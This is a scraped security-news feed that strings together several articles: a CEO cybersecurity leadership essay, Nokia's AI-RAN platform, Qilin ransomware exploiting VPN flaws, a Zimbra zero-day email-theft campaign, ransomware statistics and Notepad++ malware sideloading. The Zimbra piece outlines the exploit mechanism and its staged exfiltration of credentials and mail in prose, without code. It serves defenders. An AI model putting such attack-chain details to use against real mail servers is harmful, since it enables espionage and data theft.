2. Organizational inertia, and the need for executive structure to evolve faster

Cyber criminals continue to evolve rapidly. Large organizations generally do not.

This is the second issue that should concern every CEO.

Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.

Very rarely do they stop to redesign how cybersecurity operates.

The result is what I described several years ago as the “Cybersecurity Spiral of Failure”.

  • As complexity and regulation increase, organizations invest in more security products.
  • More products create more complexity.
  • More products and greater complexity generate more alerts.
  • More alerts require more analysts.
  • More analysts produce more reports.
  • More reports continue to build up executive confidence.
  • Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.

And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.

This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.

Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.

The cybersecurity function itself has evolved dramatically. Many executive structures have not.

This organizational inertia extends beyond technology: It affects budgeting cycles, investment priorities, procurement processes, accountability models and decision-making speed.

Cyber attackers innovate every day. Organizational change often takes years.

That imbalance should worry every CEO.

3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak

The third issue is potentially the most significant over the coming decade.

  • Artificial intelligence, autonomous agents and machine identities
  • Software supply chain complexity.
  • Quantum computing, and post-quantum cryptography

Each of these developments represents far more than another technical trend.

Together, they fundamentally change the dynamics of cybersecurity.

Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.

Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.

Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.

None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.

Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.

Waiting until some of those risks become obvious will almost certainly be too late.

Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.

But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.

That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.

Leadership will determine who succeeds

Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.

Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.

What remains within the control of every CEO is how their organization responds.

Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?

How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?

Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?

These questions will increasingly determine organizational success.

The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.

They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.

That transformation cannot be delegated. It begins with the CEO.

And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[GitOps Handbook]]> https://tsecurity.de/de/3691063/linux-tipps/gitops-handbook/ https://tsecurity.de/de/3691063/linux-tipps/gitops-handbook/ Fri, 24 Jul 2026 11:02:52 +0200 🐧 Linux Tipps tsecurity.de <![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]> https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/ https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/ Fri, 24 Jul 2026 10:13:45 +0200 📰 IT Security Nachrichten tsecurity.de

Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.

With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.

Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including providing a path to 6G. The partnership with Nvidia brings CUDA and AI into mobile environments.

For Network World readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.

What AI-RAN actually is

At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. Udayan Mukherjee, Nokia’s CTO for RAN and core, summarized the vision in the analyst briefing: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform
 one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”

Several pillars stand out:

  • AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.
  • Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.
  • Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.
  • Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product
 but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.

Why AI-RAN matters for operators

Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.

First, spectrum constraints. Aji Ed, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.

Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.

Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation
 we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.

For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.

Nokia’s differentiation strategy

Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure
 all of these require much higher compute, which is exactly what is coming from the accelerated computing.”

Several differentiators emerge:

  • Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.
  • Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.
  • Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.
  • Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.

Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform
 any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.

How AI-RAN unlocks new revenue

Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.

Examples include:

  • Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it
 as well as two other companies developing location services.”
  • Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.
  • Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.
  • Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.

Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:

  • Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.
  • Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.
  • Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.

For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”

Adoption path and reality check

Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.

There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.

For Network World readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.

]]> <![CDATA[Fake Notepad++ Plugin Delivers MATCHBOIL.V2 in UAC-0099 Attacks]]> https://tsecurity.de/de/3690898/it-security-nachrichten/fake-notepad-plugin-delivers-matchboilv2-in-uac-0099-attacks/ https://tsecurity.de/de/3690898/it-security-nachrichten/fake-notepad-plugin-delivers-matchboilv2-in-uac-0099-attacks/ Fri, 24 Jul 2026 09:10:42 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Ransomware groups are hammering your vulnerable VPNs]]> https://tsecurity.de/de/3690892/it-security-nachrichten/ransomware-groups-are-hammering-your-vulnerable-vpns/ https://tsecurity.de/de/3690892/it-security-nachrichten/ransomware-groups-are-hammering-your-vulnerable-vpns/ Fri, 24 Jul 2026 09:10:09 +0200 📰 IT Security Nachrichten tsecurity.de

Cybercriminals are actively exploiting a recently discovered vulnerability in Palo Alto Networks firewall and VPN appliances to deploy the Qilin ransomware strain.

A critical authentication bypass flaw (CVE-2026-0257) in Palo Alto GlobalProtect portal and gateway was the common link in a series of intrusions in June, Arctic Wolf Labs warns. Exploitation of the vulnerability came within days of disclosure.

“Post-exploitation tradecraft varied across intrusions, from rapid encryption-only operations to full double-extortion, possibly suggesting multiple affiliates operating under the Qilin ransomware-as-a-service (RaaS) umbrella,” Arctic Wolf’s researchers wrote in a post on the threat.

The campaign against Palo Alto’s VPN client is part of a rising trend that sees ransomware groups increasingly targeting vulnerabilities in network edge tools and devices.

Ransomware takes aim at the edge

Beyond GlobalProtect, Qilin — the most active threat group in Q2 2026, responsible for 14% of attacks, according to NCC Group’s latest Quarterly Cyber Threat Intelligence Report —  has also targeted flaws in Fortinet’s FortiGate, Citrix NetScaler, and Check Point Remote Access VPN.

Check Point warned in June of ransomware attacks against VPNs that still use the deprecated Internet Key Exchange version 1 (IKEv1) protocol. Citrix issued patches in early July for a CitrixBleed-like flaw in its NetScalar devices that had come under attack.

Meanwhile, Fortibleed, a massive credential-compromise campaign, exposed 75,000 FortiGate firewalls in June.  

Qilin is by no means alone in increasing its operations against VPNs and other network security tools.

The Gentlemen, No. 2 on NCC Group’s list with 238 victims in Q2 2026, is noted for breaking into organizations through firewalls, VPNs, and other internet-exposed systems — FortiGate and Cisco products in particular.

Akira, No. 4 on NCC Group’s list (127 victims), is also known for exploiting VPN vulnerabilities and abusing legitimate credentials, primarily versus products from Ivanti, Cisco, and Fortinet.

In the line of fire

Network edge security devices are becoming security liabilities for enterprise security professionals, with an alarming rise in zero-day exploits arising from what experts describe as basic and readily preventable vulnerabilities.

A range of attackers spanning opportunistic hackers to ransomware-as-a-service operators and nation-state sponsored APT (advanced persistent threat) groups are actively exploiting software vulnerabilities in edge devices to hack into corporate networks.

“Although there has not been a material rise in ransomware volume in the last quarter, the trajectory of attacks continues upwards, and VPNs remain an increasingly attractive target,” said Matt Hull, VP and head of cyber intelligence and response at NCC Group.

Unpatched vulnerabilities in edge devices are far from the only software bugs fueling ransomware attacks. For example, last year the Clop ransomware gang hacked hundreds of companies by exploiting zero-day vulnerabilities in Oracle’s E-Business Suite software.

Edge of darkness

VPNs and other internet-facing edge devices remain prime targets for ransomware operators because they provide a direct route into an organization’s network.

“Attackers may exploit an unpatched vulnerability, use stolen credentials, or target weak authentication controls,” said Alexander Leslie, a senior advisor at cyber threat intelligence firm Recorded Future. “In some cases, exploitation begins before organizations have had sufficient time to apply vendor guidance, leaving security teams with a very narrow window to respond.”

VPN exploitation sits alongside other initial access methods, such as phishing, compromised credentials, or software supply chain attacks. The preferred attacker infiltration method varies by campaign and sector but locating security in edge devices carry particular advantages from the perspective of attackers.

“Vulnerabilities in perimeter devices are particularly valuable to attackers because those systems are continuously exposed to the internet and can provide privileged access while bypassing some endpoint controls,” said Leslie.

Dray Agha, senior manager of security operations at managed detection and response firm Huntress, backed up this assessment that exploiting internet-facing VPNs and edge devices remains the “dominant, volume-driven tactic” for ransomware operators because these appliances offer a “direct, publicly accessible gateway straight into the heart of corporate networks.”

Rather than exploiting vulnerabilities in edge devices, attackers more commonly use internet-facing gateways as a means to abuse stolen credentials to break into corporate networks, according to Huntress.

“What we see at Huntress is that the VPN is the site of initial access some 70% of the time, for advanced threat actors,” said Agha. “Overwhelmingly, however, they are not exploiting for access; rather they are using stolen credentials to authenticate to non-MFA’d [multi-factor authentication] user accounts.”

Hardened perimeter

CSOs should treat their network perimeter as hostile territory by enforcing aggressive patch management, applying critical edge device updates within 24 to 48 hours, and mandating strict MFA for all access.

Implementing zero-trust network segmentation to trap attackers and prevent lateral movement if the initial gateway is compromised also helps in making enterprise networks more resilient against attacks, Huntress’ Agha advised.

Phishing-resistant multi-factor authentication, removal of unsupported systems, and close monitoring for unusual authentication or administrative activity also form key components in attack impact mitigation.

Internet-facing assets that are known to be actively exploited should be prioritized as a patching priority.

“Threat intelligence and evidence of active exploitation should help determine which vulnerabilities demand immediate action,” Recorded Future’s Leslie said.

]]> <![CDATA[Top 10 Best 24/7 Security Monitoring Companies in 2026]]> https://tsecurity.de/de/3690839/it-security-nachrichten/top-10-best-247-security-monitoring-companies-in-2026/ https://tsecurity.de/de/3690839/it-security-nachrichten/top-10-best-247-security-monitoring-companies-in-2026/ Fri, 24 Jul 2026 08:40:56 +0200 📰 IT Security Nachrichten tsecurity.de A comprehensive and proactive security posture is non-negotiable for organizations in 2026. With a rapidly evolving threat landscape and a global shortage of cybersecurity talent, relying on an internal team alone to provide round-the-clock protection is often unfeasible. 24/7 security


Read more →

The post Top 10 Best 24/7 Security Monitoring Companies in 2026 appeared first on IT Security News.

]]> <![CDATA[Top 10 Best 24/7 Security Monitoring Companies in 2026]]> https://tsecurity.de/de/3690813/it-security-nachrichten/top-10-best-247-security-monitoring-companies-in-2026/ https://tsecurity.de/de/3690813/it-security-nachrichten/top-10-best-247-security-monitoring-companies-in-2026/ Fri, 24 Jul 2026 08:26:23 +0200 📰 IT Security Nachrichten tsecurity.de A comprehensive and proactive security posture is non-negotiable for organizations in 2026. With a rapidly evolving threat landscape and a global shortage of cybersecurity talent, relying on an internal team alone to provide round-the-clock protection is often unfeasible. 24/7 security monitoring companies fill this critical gap by serving as an extension of an organization’s security [
]

The post Top 10 Best 24/7 Security Monitoring Companies in 2026 appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

]]> <![CDATA[Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit]]> https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/ https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/ Fri, 24 Jul 2026 08:25:49 +0200 📰 IT Security Nachrichten tsecurity.de Zimbra phishing campaign

A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026. The activity has been linked primarily to LAUNDRY BEAR, a Russian state-supported advanced persistent threat (APT) group tracked under several names across the cybersecurity industry. The advisory said the campaign has been active since at least July 2025 and has targeted organizations using the Zimbra Collaboration Suite (ZCS). Unlike conventional phishing attacks that typically require victims to click a malicious link or open an attachment, the campaign uses a view-based exploit. A user only needs to view a malicious email in a vulnerable version of ZCS webmail for the exploit to attempt execution.

Zimbra Phishing Campaign Uses CVE-2025-66376

The campaign centers on CVE-2025-66376, a vulnerability that was initially exploited as a zero-day vulnerability before a patch was released. According to the advisory, the activity began in July 2025, months before the vulnerability was published and patched. The vulnerability allows a JavaScript payload contained in email content to execute because of improper sanitization of CSS @import directives within an email. The malicious payload uses Base64 encoding and XOR encryption and can be modified to help bypass basic threat detection signatures. Once triggered, the payload attempts to collect and exfiltrate information through 12 stages. These include gathering the victim's email address and environment information, collecting two-factor authentication codes and application passwords, attempting to capture saved passwords, enabling mail protocols, gathering the Global Address List (GAL), and sending archived email data. The advisory said the campaign's use of a zero-day exploit demonstrates the ability of LAUNDRY BEAR to operationalize novel vulnerabilities into a successful attack capability.

LAUNDRY BEAR Targets Email and Sensitive Data

The primary objective of the Russian state-supported cyber actors appears to be the covert acquisition of email data. The campaign attempts to steal the last 90 days of email communications, email addresses, passwords, the organization's Global Address List, 2FA tokens and newly created application passcodes. The actors have targeted organizations connected to the defense industrial base, government, education, energy, law enforcement, media, non-governmental organizations and technology sectors. The advisory said LAUNDRY BEAR likely identifies organizations with publicly exposed Zimbra infrastructure through port scanning and commercially available datasets. It may then compile individual user email addresses using commercial data, open-source intelligence or previously exfiltrated information. The group has also used compromised accounts to distribute phishing emails. Since at least November 2025, malicious emails were reportedly sent from victim infrastructure, potentially using previously compromised accounts to make the activity harder to detect and to bypass anti-phishing measures.

Ulej and Flowerbed Support Email Data Exfiltration

The campaign uses a custom capability called Ulej, which was developed to exploit ZCS and exfiltrate sensitive information. The collected data is sent to infrastructure associated with the Flowerbed framework. Flowerbed is a Python project using Docker and includes four containers: Catcher, Certbot, Nginx and Gardener. Catcher receives and aggregates stolen information, while Nginx operates as an HTTPS reverse proxy. The framework uses DNS and HTTPS channels for email data exfiltration. The advisory said the campaign can exfiltrate email content, contacts, attachments, authentication information and other data. The stolen information is initially stored by Catcher before being transferred to non-public-facing infrastructure. The report also noted indications that artificial intelligence may have played a role in developing the Flowerbed codebase, highlighting the increasing use of AI in developing malicious capabilities.

Organizations Urged to Patch Vulnerable Zimbra Systems

The advisory urged organizations using ZCS to immediately ensure their systems are not running vulnerable versions. A patch for CVE-2025-66376 was released for ZCS versions 10.1.13 and 10.0.18. If immediate patching is not possible, organizations are advised to have employees use alternative mail clients and avoid the Classic ZCS webmail client until the software is updated. Security teams are also advised to monitor internet-connected ZCS systems, workstations accessing those systems and network traffic for signs of suspicious activity. Recommended monitoring includes looking for large outbound data transfers to unfamiliar VPS providers, unusual DNS queries with random subdomains, sudden connections to newly established domains and connections involving VPN providers such as Mullvad. Organizations should also consider authentication services that support passkeys and maintain network monitoring, packet capture or NetFlow data and relevant logs. The advisory further recommends that organizations identifying victims revoke Application Passcodes and 2FA scratch keys and require affected employees to change their passwords. Security teams should also investigate the original phishing email and quarantine similar messages to prevent further exploitation and data theft.]]> <![CDATA[One Country Absorbed Nearly Half of the World’s Ransomware Attacks in Just Six Months – The United States]]> https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/ https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/ Fri, 24 Jul 2026 07:42:03 +0200 📰 IT Security Nachrichten tsecurity.de Ransomware Attacks, Qilin, US, Ransomware Attacks on US

Strip away the geopolitics, the hacktivist noise, and the espionage headlines, and one number from the first half of 2026 stands out above everything else: 1,721. That's how many ransomware attacks hit organizations in the United States between January and June, according to new research from Cyble Research and Intelligence Labs (CRIL). It's not just the highest total of any country tracked in the report — it's more than the next nine most-targeted countries combined.

Canada, in second place worldwide, recorded 179 attacks. Germany logged 155. The United Kingdom, 138. Add up the rest of the global top 10 — France, Italy, Spain, Thailand, India and Brazil — and the total still falls more than 600 attacks short of the U.S. figure alone. Out of 3,836 ransomware attacks CRIL tracked worldwide this half, roughly 45% landed on American soil.

Also read: Fairlife Ransomware Attack Hits Production Systems, U.S. Operations Suspended

A Single Region, an Outsized Share

Widen the lens slightly and the picture holds. North America as a whole recorded 1,981 ransomware attacks in H1 2026 — more than half of every ransomware incident Cyble observed globally — alongside 35 data breach and leak incidents and 9 initial access sale listings. The report describes the region as home to "a mature, persistently active RaaS ecosystem operating at high volume across a wide range of industries and geographies."

Two ransomware-as-a-service operators did much of the damage. Qilin, the single most prolific gang worldwide, claimed 370 of those North American attacks on its own — nearly 19% of the regional total. Akira followed with 268, and INC Ransom added another 164. Together, Qilin and Akira alone accounted for more than half of all recorded ransomware activity across the region, a level of concentration that points to a small number of highly organized affiliate networks doing the bulk of the damage rather than a diffuse swarm of opportunists.

Also read: Qilin Ransomware Group’s TTPs Examined by Researchers

Where the Pressure Lands

Professional Services bore the brunt of North American ransomware activity, with INC Ransom showing a marked preference for law firms and other high-value services with sensitive client data. Construction, Manufacturing and Healthcare followed close behind.

One operator, AiLock, stood out for a coordinated wave of victim disclosures that all landed on the same day — March 3 — a pattern consistent with a mass-exploitation campaign rather than isolated intrusions. LockBit, despite years of law enforcement pressure and takedown attempts, kept up a steady tempo against public-sector and educational targets throughout the period, showcasing how difficult the group has been to fully dismantle.

On the data breach side, Technology and financial services (BFSI) were the most frequently targeted sectors in North America, together accounting for roughly 43% of incidents — a reflection of how much intellectual property and monetizable personal data those industries hold.

Notably, Agriculture & Livestock emerged as a significant target for initial access brokers, accounting for a third of all access listings tied to the region. Cyble flags this as a sign of "growing risk in the food supply chain," an area that has historically drawn less attention from ransomware operators than finance or healthcare.

The initial access market itself was strikingly concentrated: two sellers, tracked under the handles "redpin" and "xpl0itrs," accounted for nearly all listings targeting North American organizations. Threat actors also continued to lean on known and zero-day vulnerabilities in widely deployed enterprise platforms — including products from Ivanti and Palo Alto Networks — as their preferred way into corporate networks.

Hacktivism Blurs into Cybercrime

North America wasn't spared the hacktivism wave sweeping the rest of the world either. Collectives including SOLDADOS DIGITALES – UNIÓN AMERICANA and LYSTIC TEAM #ID drove roughly 56 data leak or dump posts and touched about 360 unique domains across the region, with Government, Technology, financial services and telecommunications entities most frequently in the crosshairs.

Cyble's broader findings suggest many groups marketing themselves as ideologically driven hacktivists are, in practice, running side businesses in stolen data brokerage and DDoS-for-hire services — a blurring of motive that complicates how defenders triage the threat.

The scale of the U.S. numbers doesn't necessarily mean American companies have weaker defenses than their global peers — the concentration also reflects the sheer size and digital density of the U.S. economy, and its outsized share of the high-value targets ransomware affiliates chase. But the data does argue for a shift in posture.

Cyble's broader recommendations — treating data exfiltration, not just encryption, as the primary risk; prioritizing patches for the recurring vendor list; and monitoring initial access markets as a leading indicator rather than an afterthought — apply nowhere more urgently than in a country absorbing this much of the world's ransomware volume on its own.

]]> <![CDATA[Hackers Weaponize Notepad++ 8.8.3 to Silently Install MATCHBOIL.V2 Malware]]> https://tsecurity.de/de/3690764/it-security-nachrichten/hackers-weaponize-notepad-883-to-silently-install-matchboilv2-malware/ https://tsecurity.de/de/3690764/it-security-nachrichten/hackers-weaponize-notepad-883-to-silently-install-matchboilv2-malware/ Fri, 24 Jul 2026 07:41:58 +0200 📰 IT Security Nachrichten tsecurity.de CERT-UA has disclosed a significant shift in the tactics of threat cluster UAC-0099, revealing a novel infection chain that abuses a legitimate Notepad++ 8.8.3 executable to sideload malware, alongside an upgraded MATCHBOIL.V2 loader and two new tools named LUNCHPOKE and BURNYBEAR. The campaign, documented since mid-summer 2026, marks a notable evolution from the group’s earlier [
]

The post Hackers Weaponize Notepad++ 8.8.3 to Silently Install MATCHBOIL.V2 Malware appeared first on Cyber Security News.

]]> <![CDATA[Hackers Weaponize Notepad++ Plugins to Silently Infect Windows Systems]]> https://tsecurity.de/de/3690760/it-security-nachrichten/hackers-weaponize-notepad-plugins-to-silently-infect-windows-systems/ https://tsecurity.de/de/3690760/it-security-nachrichten/hackers-weaponize-notepad-plugins-to-silently-infect-windows-systems/ Fri, 24 Jul 2026 07:41:53 +0200 📰 IT Security Nachrichten tsecurity.de CERT-UA has issued a warning regarding the UAC-0099 threat cluster, which has revised its malware delivery method by exploiting the legitimate Notepad++ application to load a malicious DLL disguised as a plugin. This campaign, observed since mid-summer 2026, introduces two


Read more →

The post Hackers Weaponize Notepad++ Plugins to Silently Infect Windows Systems appeared first on IT Security News.

]]> <![CDATA[Hackers Weaponize Notepad++ Plugins to Silently Infect Windows Systems]]> https://tsecurity.de/de/3690744/it-security-nachrichten/hackers-weaponize-notepad-plugins-to-silently-infect-windows-systems/ https://tsecurity.de/de/3690744/it-security-nachrichten/hackers-weaponize-notepad-plugins-to-silently-infect-windows-systems/ Fri, 24 Jul 2026 07:15:03 +0200 📰 IT Security Nachrichten tsecurity.de CERT-UA has issued a warning regarding the UAC-0099 threat cluster, which has revised its malware delivery method by exploiting the legitimate Notepad++ application to load a malicious DLL disguised as a plugin. This campaign, observed since mid-summer 2026, introduces two newly identified tools, LUNCHPOKE and BURNYBEAR, along with an updated MATCHBOIL.V2 loader. This activity highlights [
]

The post Hackers Weaponize Notepad++ Plugins to Silently Infect Windows Systems appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

]]> <![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]> https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/ https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/ Fri, 24 Jul 2026 02:50:17 +0200 📰 IT Nachrichten tsecurity.de Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.

The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.

"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.

How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve

